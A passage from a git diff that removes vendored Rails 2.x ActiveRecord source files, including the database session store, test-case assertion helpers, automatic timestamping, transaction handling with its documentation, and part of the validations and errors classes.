-  # use it as a basis for high-performance database-specific stores.
-  class SessionStore < ActionController::Session::AbstractStore
-    # The default Active Record class.
-    class Session < ActiveRecord::Base
-      ##
-      # :singleton-method:
-      # Customizable data column name.  Defaults to 'data'.
-      cattr_accessor :data_column_name
-      self.data_column_name = 'data'
-
-      before_save :marshal_data!
-      before_save :raise_on_session_data_overflow!
-
-      class << self
-        def data_column_size_limit
-          @data_column_size_limit ||= columns_hash[@@data_column_name].limit
-        end
-
-        # Hook to set up sessid compatibility.
-        def find_by_session_id(session_id)
-          setup_sessid_compatibility!
-          find_by_session_id(session_id)
-        end
-
-        def marshal(data)
-          ActiveSupport::Base64.encode64(Marshal.dump(data)) if data
-        end
-
-        def unmarshal(data)
-          Marshal.load(ActiveSupport::Base64.decode64(data)) if data
-        end
-
-        def create_table!
-          connection.execute <<-end_sql
-            CREATE TABLE #{table_name} (
-              id INTEGER PRIMARY KEY,
-              #{connection.quote_column_name('session_id')} TEXT UNIQUE,
-              #{connection.quote_column_name(@@data_column_name)} TEXT(255)
-            )
-          end_sql
-        end
-
-        def drop_table!
-          connection.execute "DROP TABLE #{table_name}"
-        end
-
-        private
-          # Compatibility with tables using sessid instead of session_id.
-          def setup_sessid_compatibility!
-            # Reset column info since it may be stale.
-            reset_column_information
-            if columns_hash['sessid']
-              def self.find_by_session_id(*args)
-                find_by_sessid(*args)
-              end
-
-              define_method(:session_id)  { sessid }
-              define_method(:session_id=) { |session_id| self.sessid = session_id }
-            else
-              def self.find_by_session_id(session_id)
-                find :first, :conditions => {:session_id=>session_id}
-              end
-            end
-          end
-      end
-
-      # Lazy-unmarshal session state.
-      def data
-        @data ||= self.class.unmarshal(read_attribute(@@data_column_name)) || {}
-      end
-
-      attr_writer :data
-
-      # Has the session been loaded yet?
-      def loaded?
-        !!@data
-      end
-
-      private
-        def marshal_data!
-          return false if !loaded?
-          write_attribute(@@data_column_name, self.class.marshal(self.data))
-        end
-
-        # Ensures that the data about to be stored in the database is not
-        # larger than the data storage column. Raises
-        # ActionController::SessionOverflowError.
-        def raise_on_session_data_overflow!
-          return false if !loaded?
-          limit = self.class.data_column_size_limit
-          if loaded? and limit and read_attribute(@@data_column_name).size > limit
-            raise ActionController::SessionOverflowError
-          end
-        end
-    end
-
-    # A barebones session store which duck-types with the default session
-    # store but bypasses Active Record and issues SQL directly.  This is
-    # an example session model class meant as a basis for your own classes.
-    #
-    # The database connection, table name, and session id and data columns
-    # are configurable class attributes.  Marshaling and unmarshaling
-    # are implemented as class methods that you may override.  By default,
-    # marshaling data is
-    #
-    #   ActiveSupport::Base64.encode64(Marshal.dump(data))
-    #
-    # and unmarshaling data is
-    #
-    #   Marshal.load(ActiveSupport::Base64.decode64(data))
-    #
-    # This marshaling behavior is intended to store the widest range of
-    # binary session data in a +text+ column.  For higher performance,
-    # store in a +blob+ column instead and forgo the Base64 encoding.
-    class SqlBypass
-      ##
-      # :singleton-method:
-      # Use the ActiveRecord::Base.connection by default.
-      cattr_accessor :connection
-
-      ##
-      # :singleton-method:
-      # The table name defaults to 'sessions'.
-      cattr_accessor :table_name
-      @@table_name = 'sessions'
-
-      ##
-      # :singleton-method:
-      # The session id field defaults to 'session_id'.
-      cattr_accessor :session_id_column
-      @@session_id_column = 'session_id'
-
-      ##
-      # :singleton-method:
-      # The data field defaults to 'data'.
-      cattr_accessor :data_column
-      @@data_column = 'data'
-
-      class << self
-        def connection
-          @@connection ||= ActiveRecord::Base.connection
-        end
-
-        # Look up a session by id and unmarshal its data if found.
-        def find_by_session_id(session_id)
-          if record = connection.select_one("SELECT * FROM #{@@table_name} WHERE #{@@session_id_column}=#{connection.quote(session_id)}")
-            new(:session_id => session_id, :marshaled_data => record['data'])
-          end
-        end
-
-        def marshal(data)
-          ActiveSupport::Base64.encode64(Marshal.dump(data)) if data
-        end
-
-        def unmarshal(data)
-          Marshal.load(ActiveSupport::Base64.decode64(data)) if data
-        end
-
-        def create_table!
-          @@connection.execute <<-end_sql
-            CREATE TABLE #{table_name} (
-              id INTEGER PRIMARY KEY,
-              #{@@connection.quote_column_name(session_id_column)} TEXT UNIQUE,
-              #{@@connection.quote_column_name(data_column)} TEXT
-            )
-          end_sql
-        end
-
-        def drop_table!
-          @@connection.execute "DROP TABLE #{table_name}"
-        end
-      end
-
-      attr_reader :session_id
-      attr_writer :data
-
-      # Look for normal and marshaled data, self.find_by_session_id's way of
-      # telling us to postpone unmarshaling until the data is requested.
-      # We need to handle a normal data attribute in case of a new record.
-      def initialize(attributes)
-        @session_id, @data, @marshaled_data = attributes[:session_id], attributes[:data], attributes[:marshaled_data]
-        @new_record = @marshaled_data.nil?
-      end
-
-      def new_record?
-        @new_record
-      end
-
-      # Lazy-unmarshal session state.
-      def data
-        unless @data
-          if @marshaled_data
-            @data, @marshaled_data = self.class.unmarshal(@marshaled_data) || {}, nil
-          else
-            @data = {}
-          end
-        end
-        @data
-      end
-
-      def loaded?
-        !!@data
-      end
-
-      def save
-        return false if !loaded?
-        marshaled_data = self.class.marshal(data)
-
-        if @new_record
-          @new_record = false
-          @@connection.update <<-end_sql, 'Create session'
-            INSERT INTO #{@@table_name} (
-              #{@@connection.quote_column_name(@@session_id_column)},
-              #{@@connection.quote_column_name(@@data_column)} )
-            VALUES (
-              #{@@connection.quote(session_id)},
-              #{@@connection.quote(marshaled_data)} )
-          end_sql
-        else
-          @@connection.update <<-end_sql, 'Update session'
-            UPDATE #{@@table_name}
-            SET #{@@connection.quote_column_name(@@data_column)}=#{@@connection.quote(marshaled_data)}
-            WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
-          end_sql
-        end
-      end
-
-      def destroy
-        unless @new_record
-          @@connection.delete <<-end_sql, 'Destroy session'
-            DELETE FROM #{@@table_name}
-            WHERE #{@@connection.quote_column_name(@@session_id_column)}=#{@@connection.quote(session_id)}
-          end_sql
-        end
-      end
-    end
-
-    # The class used for session storage.  Defaults to
-    # ActiveRecord::SessionStore::Session
-    cattr_accessor :session_class
-    self.session_class = Session
-
-    SESSION_RECORD_KEY = 'rack.session.record'.freeze
-
-    private
-      def get_session(env, sid)
-        Base.silence do
-          sid ||= generate_sid
-          session = find_session(sid)
-          env[SESSION_RECORD_KEY] = session
-          [sid, session.data]
-        end
-      end
-
-      def set_session(env, sid, session_data)
-        Base.silence do
-          record = get_session_model(env, sid)
-          record.data = session_data
-          return false unless record.save
-
-          session_data = record.data
-          if session_data && session_data.respond_to?(:each_value)
-            session_data.each_value do |obj|
-              obj.clear_association_cache if obj.respond_to?(:clear_association_cache)
-            end
-          end
-        end
-
-        return true
-      end
-      
-      def destroy(env)
-        if sid = current_session_id(env)
-          Base.silence do
-            get_session_model(env, sid).destroy
-          end
-        end
-      end
-      
-      def get_session_model(env, sid)
-        if env[ENV_SESSION_OPTIONS_KEY][:id].nil?
-          env[SESSION_RECORD_KEY] = find_session(sid)
-        else
-          env[SESSION_RECORD_KEY] ||= find_session(sid)
-        end
-      end
-
-      def find_session(id)
-        @@session_class.find_by_session_id(id) ||
-          @@session_class.new(:session_id => id, :data => {})
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/test_case.rb b/vendor/rails/activerecord/lib/active_record/test_case.rb
deleted file mode 100644
index 8c6abaac..00000000
--- a/vendor/rails/activerecord/lib/active_record/test_case.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-require "active_support/test_case"
-
-module ActiveRecord
-  class TestCase < ActiveSupport::TestCase #:nodoc:
-    def assert_date_from_db(expected, actual, message = nil)
-      # SybaseAdapter doesn't have a separate column type just for dates,
-      # so the time is in the string and incorrectly formatted
-      if current_adapter?(:SybaseAdapter)
-        assert_equal expected.to_s, actual.to_date.to_s, message
-      else
-        assert_equal expected.to_s, actual.to_s, message
-      end
-    end
-
-    def assert_sql(*patterns_to_match)
-      $queries_executed = []
-      yield
-    ensure
-      failed_patterns = []
-      patterns_to_match.each do |pattern|
-        failed_patterns << pattern unless $queries_executed.any?{ |sql| pattern === sql }
-      end
-      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map(&:inspect).join(', ')} not found."
-    end
-
-    def assert_queries(num = 1)
-      $queries_executed = []
-      yield
-    ensure
-      %w{ BEGIN COMMIT }.each { |x| $queries_executed.delete(x) }
-      assert_equal num, $queries_executed.size, "#{$queries_executed.size} instead of #{num} queries were executed.#{$queries_executed.size == 0 ? '' : "\nQueries:\n#{$queries_executed.join("\n")}"}"
-    end
-
-    def assert_no_queries(&block)
-      assert_queries(0, &block)
-    end
-
-    def self.use_concurrent_connections
-      setup :connection_allow_concurrency_setup
-      teardown :connection_allow_concurrency_teardown
-    end
-
-    def connection_allow_concurrency_setup
-      @connection = ActiveRecord::Base.remove_connection
-      ActiveRecord::Base.establish_connection(@connection.merge({:allow_concurrency => true}))
-    end
-
-    def connection_allow_concurrency_teardown
-      ActiveRecord::Base.clear_all_connections!
-      ActiveRecord::Base.establish_connection(@connection)
-    end
-
-    def with_kcode(kcode)
-      if RUBY_VERSION < '1.9'
-        orig_kcode, $KCODE = $KCODE, kcode
-        begin
-          yield
-        ensure
-          $KCODE = orig_kcode
-        end
-      else
-        yield
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/timestamp.rb b/vendor/rails/activerecord/lib/active_record/timestamp.rb
deleted file mode 100644
index d9e1ef35..00000000
--- a/vendor/rails/activerecord/lib/active_record/timestamp.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-module ActiveRecord
-  # Active Record automatically timestamps create and update operations if the table has fields
-  # named created_at/created_on or updated_at/updated_on.
-  #
-  # Timestamping can be turned off by setting
-  #   <tt>ActiveRecord::Base.record_timestamps = false</tt>
-  #
-  # Timestamps are in the local timezone by default but you can use UTC by setting
-  #   <tt>ActiveRecord::Base.default_timezone = :utc</tt>
-  module Timestamp
-    def self.included(base) #:nodoc:
-      base.alias_method_chain :create, :timestamps
-      base.alias_method_chain :update, :timestamps
-
-      base.class_inheritable_accessor :record_timestamps, :instance_writer => false
-      base.record_timestamps = true
-    end
-    
-    # Saves the record with the updated_at/on attributes set to the current time.
-    # If the save fails because of validation errors, an ActiveRecord::RecordInvalid exception is raised.
-    # If an attribute name is passed, that attribute is used for the touch instead of the updated_at/on attributes.
-    #
-    # Examples:
-    #
-    #   product.touch               # updates updated_at
-    #   product.touch(:designed_at) # updates the designed_at attribute
-    def touch(attribute = nil)
-      current_time = current_time_from_proper_timezone
-
-      if attribute
-        write_attribute(attribute, current_time)
-      else
-        write_attribute('updated_at', current_time) if respond_to?(:updated_at)
-        write_attribute('updated_on', current_time) if respond_to?(:updated_on)
-      end
-
-      save!
-    end
-
-
-    private
-      def create_with_timestamps #:nodoc:
-        if record_timestamps
-          current_time = current_time_from_proper_timezone
-
-          write_attribute('created_at', current_time) if respond_to?(:created_at) && created_at.nil?
-          write_attribute('created_on', current_time) if respond_to?(:created_on) && created_on.nil?
-
-          write_attribute('updated_at', current_time) if respond_to?(:updated_at) && updated_at.nil?
-          write_attribute('updated_on', current_time) if respond_to?(:updated_on) && updated_on.nil?
-        end
-
-        create_without_timestamps
-      end
-
-      def update_with_timestamps(*args) #:nodoc:
-        if record_timestamps && (!partial_updates? || changed?)
-          current_time = current_time_from_proper_timezone
-
-          write_attribute('updated_at', current_time) if respond_to?(:updated_at)
-          write_attribute('updated_on', current_time) if respond_to?(:updated_on)
-        end
-
-        update_without_timestamps(*args)
-      end
-      
-      def current_time_from_proper_timezone
-        self.class.default_timezone == :utc ? Time.now.utc : Time.now
-      end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/lib/active_record/transactions.rb b/vendor/rails/activerecord/lib/active_record/transactions.rb
deleted file mode 100644
index 0b6e52c7..00000000
--- a/vendor/rails/activerecord/lib/active_record/transactions.rb
+++ /dev/null
@@ -1,235 +0,0 @@
-require 'thread'
-
-module ActiveRecord
-  # See ActiveRecord::Transactions::ClassMethods for documentation.
-  module Transactions
-    class TransactionError < ActiveRecordError # :nodoc:
-    end
-
-    def self.included(base)
-      base.extend(ClassMethods)
-
-      base.class_eval do
-        [:destroy, :save, :save!].each do |method|
-          alias_method_chain method, :transactions
-        end
-      end
-    end
-
-    # Transactions are protective blocks where SQL statements are only permanent
-    # if they can all succeed as one atomic action. The classic example is a
-    # transfer between two accounts where you can only have a deposit if the
-    # withdrawal succeeded and vice versa. Transactions enforce the integrity of
-    # the database and guard the data against program errors or database
-    # break-downs. So basically you should use transaction blocks whenever you
-    # have a number of statements that must be executed together or not at all.
-    # Example:
-    #
-    #   ActiveRecord::Base.transaction do
-    #     david.withdrawal(100)
-    #     mary.deposit(100)
-    #   end
-    #
-    # This example will only take money from David and give to Mary if neither
-    # +withdrawal+ nor +deposit+ raises an exception. Exceptions will force a
-    # ROLLBACK that returns the database to the state before the transaction was
-    # begun. Be aware, though, that the objects will _not_ have their instance
-    # data returned to their pre-transactional state.
-    #
-    # == Different Active Record classes in a single transaction
-    #
-    # Though the transaction class method is called on some Active Record class,
-    # the objects within the transaction block need not all be instances of
-    # that class. This is because transactions are per-database connection, not
-    # per-model.
-    #
-    # In this example a <tt>Balance</tt> record is transactionally saved even
-    # though <tt>transaction</tt> is called on the <tt>Account</tt> class:
-    #
-    #   Account.transaction do
-    #     balance.save!
-    #     account.save!
-    #   end
-    #
-    # Note that the +transaction+ method is also available as a model instance
-    # method. For example, you can also do this:
-    #
-    #   balance.transaction do
-    #     balance.save!
-    #     account.save!
-    #   end
-    #
-    # == Transactions are not distributed across database connections
-    #
-    # A transaction acts on a single database connection.  If you have
-    # multiple class-specific databases, the transaction will not protect
-    # interaction among them.  One workaround is to begin a transaction
-    # on each class whose models you alter:
-    #
-    #   Student.transaction do
-    #     Course.transaction do
-    #       course.enroll(student)
-    #       student.units += course.units
-    #     end
-    #   end
-    #
-    # This is a poor solution, but full distributed transactions are beyond
-    # the scope of Active Record.
-    #
-    # == Save and destroy are automatically wrapped in a transaction
-    #
-    # Both Base#save and Base#destroy come wrapped in a transaction that ensures
-    # that whatever you do in validations or callbacks will happen under the
-    # protected cover of a transaction. So you can use validations to check for
-    # values that the transaction depends on or you can raise exceptions in the
-    # callbacks to rollback, including <tt>after_*</tt> callbacks.
-    #
-    # == Exception handling and rolling back
-    #
-    # Also have in mind that exceptions thrown within a transaction block will
-    # be propagated (after triggering the ROLLBACK), so you should be ready to
-    # catch those in your application code.
-    #
-    # One exception is the ActiveRecord::Rollback exception, which will trigger
-    # a ROLLBACK when raised, but not be re-raised by the transaction block.
-    #
-    # *Warning*: one should not catch ActiveRecord::StatementInvalid exceptions
-    # inside a transaction block. StatementInvalid exceptions indicate that an
-    # error occurred at the database level, for example when a unique constraint
-    # is violated. On some database systems, such as PostgreSQL, database errors
-    # inside a transaction causes the entire transaction to become unusable
-    # until it's restarted from the beginning. Here is an example which
-    # demonstrates the problem:
-    #
-    #   # Suppose that we have a Number model with a unique column called 'i'.
-    #   Number.transaction do
-    #     Number.create(:i => 0)
-    #     begin
-    #       # This will raise a unique constraint error...
-    #       Number.create(:i => 0)
-    #     rescue ActiveRecord::StatementInvalid
-    #       # ...which we ignore.
-    #     end
-    #     
-    #     # On PostgreSQL, the transaction is now unusable. The following
-    #     # statement will cause a PostgreSQL error, even though the unique
-    #     # constraint is no longer violated:
-    #     Number.create(:i => 1)
-    #     # => "PGError: ERROR:  current transaction is aborted, commands
-    #     #     ignored until end of transaction block"
-    #   end
-    #
-    # One should restart the entire transaction if a StatementError occurred.
-    #
-    # == Nested transactions
-    #
-    # #transaction calls can be nested. By default, this makes all database
-    # statements in the nested transaction block become part of the parent
-    # transaction. For example:
-    #
-    #   User.transaction do
-    #     User.create(:username => 'Kotori')
-    #     User.transaction do
-    #       User.create(:username => 'Nemu')
-    #       raise ActiveRecord::Rollback
-    #     end
-    #   end
-    #   
-    #   User.find(:all)  # => empty
-    #
-    # It is also possible to requires a sub-transaction by passing
-    # <tt>:requires_new => true</tt>.  If anything goes wrong, the
-    # database rolls back to the beginning of the sub-transaction
-    # without rolling back the parent transaction. For example:
-    #
-    #   User.transaction do
-    #     User.create(:username => 'Kotori')
-    #     User.transaction(:requires_new => true) do
-    #       User.create(:username => 'Nemu')
-    #       raise ActiveRecord::Rollback
-    #     end
-    #   end
-    #   
-    #   User.find(:all)  # => Returns only Kotori
-    #
-    # Most databases don't support true nested transactions. At the time of
-    # writing, the only database that we're aware of that supports true nested
-    # transactions, is MS-SQL. Because of this, Active Record emulates nested
-    # transactions by using savepoints. See
-    # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html
-    # for more information about savepoints.
-    #
-    # === Caveats
-    #
-    # If you're on MySQL, then do not use DDL operations in nested transactions
-    # blocks that are emulated with savepoints. That is, do not execute statements
-    # like 'CREATE TABLE' inside such blocks. This is because MySQL automatically
-    # releases all savepoints upon executing a DDL operation. When #transaction
-    # is finished and tries to release the savepoint it created earlier, a
-    # database error will occur because the savepoint has already been
-    # automatically released. The following example demonstrates the problem:
-    # 
-    #   Model.connection.transaction do                           # BEGIN
-    #     Model.connection.transaction(:requires_new => true) do  # CREATE SAVEPOINT active_record_1
-    #       Model.connection.create_table(...)                    # active_record_1 now automatically released
-    #     end                                                     # RELEASE savepoint active_record_1
-    #                                                             # ^^^^ BOOM! database error!
-    #   end
-    module ClassMethods
-      # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
-      def transaction(options = {}, &block)
-        # See the ConnectionAdapters::DatabaseStatements#transaction API docs.
-        connection.transaction(options, &block)
-      end
-    end
-
-    # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
-    def transaction(&block)
-      self.class.transaction(&block)
-    end
-
-    def destroy_with_transactions #:nodoc:
-      with_transaction_returning_status(:destroy_without_transactions)
-    end
-
-    def save_with_transactions(perform_validation = true) #:nodoc:
-      rollback_active_record_state! { with_transaction_returning_status(:save_without_transactions, perform_validation) }
-    end
-
-    def save_with_transactions! #:nodoc:
-      rollback_active_record_state! { self.class.transaction { save_without_transactions! } }
-    end
-
-    # Reset id and @new_record if the transaction rolls back.
-    def rollback_active_record_state!
-      id_present = has_attribute?(self.class.primary_key)
-      previous_id = id
-      previous_new_record = new_record?
-      yield
-    rescue Exception
-      @new_record = previous_new_record
-      if id_present
-        self.id = previous_id
-      else
-        @attributes.delete(self.class.primary_key)
-        @attributes_cache.delete(self.class.primary_key)
-      end
-      raise
-    end
-
-    # Executes +method+ within a transaction and captures its return value as a
-    # status flag. If the status is true the transaction is committed, otherwise
-    # a ROLLBACK is issued. In any case the status flag is returned.
-    #
-    # This method is available within the context of an ActiveRecord::Base
-    # instance.
-    def with_transaction_returning_status(method, *args)
-      status = nil
-      self.class.transaction do
-        status = send(method, *args)
-        raise ActiveRecord::Rollback unless status
-      end
-      status
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/validations.rb b/vendor/rails/activerecord/lib/active_record/validations.rb
deleted file mode 100644
index 643f1e0c..00000000
--- a/vendor/rails/activerecord/lib/active_record/validations.rb
+++ /dev/null
@@ -1,1146 +0,0 @@
-module ActiveRecord
-  # Raised by <tt>save!</tt> and <tt>create!</tt> when the record is invalid.  Use the
-  # +record+ method to retrieve the record which did not validate.
-  #   begin
-  #     complex_operation_that_calls_save!_internally
-  #   rescue ActiveRecord::RecordInvalid => invalid
-  #     puts invalid.record.errors
-  #   end
-  class RecordInvalid < ActiveRecordError
-    attr_reader :record
-    def initialize(record)
-      @record = record
-      errors = @record.errors.full_messages.join(I18n.t('support.array.words_connector', :default => ', '))
-      super(I18n.t('activerecord.errors.messages.record_invalid', :errors => errors))
-    end
-  end
-
-  class Error
-    attr_accessor :base, :attribute, :type, :message, :options
-
-    def initialize(base, attribute, type = nil, options = {})
-      self.base      = base
-      self.attribute = attribute
-      self.type      = type || :invalid
-      self.options   = options
-      self.message   = options.delete(:message) || self.type
-    end
-
-    def message
-      # When type is a string, it means that we do not have to do a lookup, because
-      # the user already sent the "final" message.
-      type.is_a?(String) ? type : generate_message(default_options)
-    end
-
-    def full_message
-      attribute.to_s == 'base' ? message : generate_full_message(default_options)
-    end
-
-    alias :to_s :message
-
-    def value
-      @base.respond_to?(attribute) ? @base.send(attribute) : nil
-    end
-
-    protected
-
-      # Translates an error message in it's default scope (<tt>activerecord.errrors.messages</tt>).
-      # Error messages are first looked up in <tt>models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>, if it's not there,
-      # it's looked up in <tt>models.MODEL.MESSAGE</tt> and if that is not there it returns the translation of the
-      # default message (e.g. <tt>activerecord.errors.messages.MESSAGE</tt>). The translated model name,
-      # translated attribute name and the value are available for interpolation.
-      #
-      # When using inheritence in your models, it will check all the inherited models too, but only if the model itself
-      # hasn't been found. Say you have <tt>class Admin < User; end</tt> and you wanted the translation for the <tt>:blank</tt>
-      # error +message+ for the <tt>title</tt> +attribute+, it looks for these translations:
-      #
-      # <ol>
-      # <li><tt>activerecord.errors.models.admin.attributes.title.blank</tt></li>
-      # <li><tt>activerecord.errors.models.admin.blank</tt></li>
-      # <li><tt>activerecord.errors.models.user.attributes.title.blank</tt></li>
-      # <li><tt>activerecord.errors.models.user.blank</tt></li>
-      # <li><tt>activerecord.errors.messages.blank</tt></li>
-      # <li>any default you provided through the +options+ hash (in the activerecord.errors scope)</li>
-      # </ol>
-      def generate_message(options = {})
-        keys = @base.class.self_and_descendants_from_active_record.map do |klass|
-          [ :"models.#{klass.name.underscore}.attributes.#{attribute}.#{@message}",
-            :"models.#{klass.name.underscore}.#{@message}" ]
-        end.flatten
-
-        keys << options.delete(:default)
-        keys << :"messages.#{@message}"
-        keys << @message if @message.is_a?(String)
-        keys << @type unless @type == @message
-        keys.compact!
-
-        options.merge!(:default => keys)
-        I18n.translate(keys.shift, options)
-      end
-
-      # Wraps an error message into a full_message format.
-      #
-      # The default full_message format for any locale is <tt>"%{attribute} %{message}"</tt>.
-      # One can specify locale specific default full_message format by storing it as a
-      # translation for the key <tt>:"activerecord.errors.full_messages.format"</tt>.
-      #
-      # Additionally one can specify a validation specific error message format by
-      # storing a translation for <tt>:"activerecord.errors.full_messages.[message_key]"</tt>.
-      # E.g. the full_message format for any validation that uses :blank as a message
-      # key (such as validates_presence_of) can be stored to <tt>:"activerecord.errors.full_messages.blank".</tt>
-      #
-      # Because the message key used by a validation can be overwritten on the
-      # <tt>validates_*</tt> class macro level one can customize the full_message format for
-      # any particular validation:
-      #
-      #   # app/models/article.rb
-      #   class Article < ActiveRecord::Base
-      #     validates_presence_of :title, :message => :"title.blank"
-      #   end
-      #
-      #   # config/locales/en.yml
-      #   en:
-      #     activerecord:
-      #       errors:
-      #         full_messages:
-      #           title:
-      #             blank: This title is screwed!
-      def generate_full_message(options = {})
-        keys = [
-          :"full_messages.#{@message}",
-          :'full_messages.format',
-          '%{attribute} %{message}'
-        ]
-
-        options.merge!(:default => keys, :message => self.message)
-        I18n.translate(keys.shift, options)
-      end
-
-      # Return user options with default options.
-      #
-      def default_options
-        options.reverse_merge :scope => [:activerecord, :errors],
-                              :model => @base.class.human_name,
-                              :attribute => @base.class.human_attribute_name(attribute.to_s),
-                              :value => value
-      end
-  end
-
-  # Active Record validation is reported to and from this object, which is used by Base#save to
-  # determine whether the object is in a valid state to be saved. See usage example in Validations.
-  class Errors
-    include Enumerable
-
-    class << self
-      def default_error_messages
-        ActiveSupport::Deprecation.warn("ActiveRecord::Errors.default_error_messages has been deprecated. Please use I18n.translate('activerecord.errors.messages').")
-        I18n.translate 'activerecord.errors.messages'
-      end
-    end
-
-    def initialize(base) # :nodoc:
-      @base = base
-      clear
-    end
-
-    # Adds an error to the base object instead of any particular attribute. This is used
-    # to report errors that don't tie to any specific attribute, but rather to the object
-    # as a whole. These error messages don't get prepended with any field name when iterating
-    # with +each_full+, so they should be complete sentences.
-    def add_to_base(msg)
-      add(:base, msg)
-    end
-
-    # Adds an error message (+messsage+) to the +attribute+, which will be returned on a call to <tt>on(attribute)</tt>
-    # for the same attribute and ensure that this error object returns false when asked if <tt>empty?</tt>. More than one
-    # error can be added to the same +attribute+ in which case an array will be returned on a call to <tt>on(attribute)</tt>.
-    # If no +messsage+ is supplied, :invalid is assumed.
-    # If +message+ is a Symbol, it will be translated, using the appropriate scope (see translate_error).
-    #
-    def add(attribute, message = nil, options = {})
-      options[:message] = options.delete(:default) if options[:default].is_a?(Symbol)
-      error, message = message, nil if message.is_a?(Error)
-
-      @errors[attribute.to_s] ||= []
-      @errors[attribute.to_s] << (error || Error.new(@base, attribute, message, options))
-    end
-
-    # Will add an error message to each of the attributes in +attributes+ that is empty.
-    def add_on_empty(attributes, custom_message = nil)
-      for attr in [attributes].flatten
-        value = @base.respond_to?(attr.to_s) ? @base.send(attr.to_s) : @base[attr.to_s]
-        is_empty = value.respond_to?(:empty?) ? value.empty? : false
-        add(attr, :empty, :default => custom_message) unless !value.nil? && !is_empty
-      end
-    end
-
-    # Will add an error message to each of the attributes in +attributes+ that is blank (using Object#blank?).
-    def add_on_blank(attributes, custom_message = nil)
-      for attr in [attributes].flatten
-        value = @base.respond_to?(attr.to_s) ? @base.send(attr.to_s) : @base[attr.to_s]
-        add(attr, :blank, :default => custom_message) if value.blank?
-      end
-    end
-
-    # Returns true if the specified +attribute+ has errors associated with it.
-    #
-    #   class Company < ActiveRecord::Base
-    #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
-    #   end
-    #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.invalid?(:name)      # => true
-    #   company.errors.invalid?(:address)   # => false
-    def invalid?(attribute)
-      !@errors[attribute.to_s].nil?
-    end
-
-    # Returns +nil+, if no errors are associated with the specified +attribute+.
-    # Returns the error message, if one error is associated with the specified +attribute+.
-    # Returns an array of error messages, if more than one error is associated with the specified +attribute+.
-    #
-    #   class Company < ActiveRecord::Base
-    #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
-    #   end
-    #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.on(:name)      # => ["is too short (minimum is 5 characters)", "can't be blank"]
-    #   company.errors.on(:email)     # => "can't be blank"
-    #   company.errors.on(:address)   # => nil
-    def on(attribute)
-      attribute = attribute.to_s
-      return nil unless @errors.has_key?(attribute)
-      errors = @errors[attribute].map(&:to_s)
-      errors.size == 1 ? errors.first : errors
-    end
-
-    alias :[] :on
-
-    # Returns errors assigned to the base object through +add_to_base+ according to the normal rules of <tt>on(attribute)</tt>.
-    def on_base
-      on(:base)
-    end
-
-    # Yields each attribute and associated message per error added.
-    #
-    #   class Company < ActiveRecord::Base
-    #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
-    #   end
-    #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.each{|attr,msg| puts "#{attr} - #{msg}" }
-    #   # => name - is too short (minimum is 5 characters)
-    #   #    name - can't be blank
-    #   #    address - can't be blank
-    def each
-      @errors.each_key { |attr| @errors[attr].each { |error| yield attr, error.message } }
-    end
-
-    # Yields each attribute and associated error per error added.
-    #
-    #   class Company < ActiveRecord::Base
-    #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
-    #   end
-    #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.each_error{|attr,err| puts "#{attr} - #{err.type}" }
-    #   # => name - :too_short
-    #   #    name - :blank
-    #   #    address - :blank
-    def each_error
-      @errors.each_key { |attr| @errors[attr].each { |error| yield attr, error } }
-    end
-
-    # Yields each full error message added. So <tt>Person.errors.add("first_name", "can't be empty")</tt> will be returned
-    # through iteration as "First name can't be empty".
-    #
-    #   class Company < ActiveRecord::Base
-    #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
-    #   end
-    #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.each_full{|msg| puts msg }
-    #   # => Name is too short (minimum is 5 characters)
-    #   #    Name can't be blank
-    #   #    Address can't be blank
-    def each_full
-      full_messages.each { |msg| yield msg }
-    end
-
-    # Returns all the full error messages in an array.
-    #
-    #   class Company < ActiveRecord::Base
-    #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
-    #   end
-    #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.full_messages # =>
-    #     ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Address can't be blank"]
-    def full_messages(options = {})
-      @errors.values.inject([]) do |full_messages, errors|
-        full_messages + errors.map { |error| error.full_message }
-      end
-    end
-
-    # Returns true if no errors have been added.
-    def empty?
-      @errors.empty?
-    end
-
-    # Removes all errors that have been added.
-    def clear
-      @errors = ActiveSupport::OrderedHash.new
-    end
-
-    # Returns the total number of errors added. Two errors added to the same attribute will be counted as such.
-    def size
-      @errors.values.inject(0) { |error_count, attribute| error_count + attribute.size }
-    end
-
-    alias_method :count, :size
-    alias_method :length, :size
-
-    # Returns an XML representation of this error object.
-    #
-    #   class Company < ActiveRecord::Base
-    #     validates_presence_of :name, :address, :email
-    #     validates_length_of :name, :in => 5..30
-    #   end
-    #
-    #   company = Company.create(:address => '123 First St.')
-    #   company.errors.to_xml
-    #   # =>  <?xml version="1.0" encoding="UTF-8"?>
-    #   #     <errors>
-    #   #       <error>Name is too short (minimum is 5 characters)</error>
-    #   #       <error>Name can't be blank</error>
-    #   #       <error>Address can't be blank</error>
-    #   #     </errors>
-    def to_xml(options={})
-      options[:root] ||= "errors"
-      options[:indent] ||= 2
-      options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
-
-      options[:builder].instruct! unless options.delete(:skip_instruct)
-      options[:builder].errors do |e|
-        full_messages.each { |msg| e.error(msg) }
-      end
-    end
-
-    def generate_message(attribute, message = :invalid, options = {})
-      Error.new(@base, attribute, message, options).to_s
-    end
